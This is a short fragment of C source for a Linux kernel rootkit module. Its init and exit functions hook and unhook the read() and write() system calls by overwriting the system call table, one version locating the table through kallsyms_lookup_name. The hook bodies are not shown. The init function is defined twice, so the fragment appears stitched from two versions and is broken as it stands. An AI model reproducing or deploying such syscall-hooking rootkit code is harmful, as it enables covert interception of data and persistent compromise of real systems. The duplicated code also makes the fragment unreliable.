static void __exit rk_exit(void) {
bitMe();
//unhook write()
SYS_CALL_TABLE[__NR_write] = (unsigned long*)original_write;
//unhook read()
SYS_CALL_TABLE[__NR_read] = (unsigned long*)original_read;
unBitMe();
printk(KERN_INFO "Cya dawg.");
}
static int __init rk_init(void) {
printk(KERN_INFO "Hello, from hell.\n");
printk(KERN_ALERT "System call table at %p\n", SYS_CALL_TABLE);
bitMe();
//hook write()
original_write = (void*)SYS_CALL_TABLE[__NR_write];
SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write;
//hook read();
original_read = (void*)SYS_CALL_TABLE[__NR_read];
SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read;
unBitMe();
return 0;
}
static int __init rk_init(void) {
SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "Hello.\n");
printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);
bitMe();
//hook write()
original_write = (void*)SYS_CALL_TABLE[__NR_write];
SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write;
//hook read();
original_read = (void*)SYS_CALL_TABLE[__NR_read];
SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read;
unBitMe();
return 0;
}
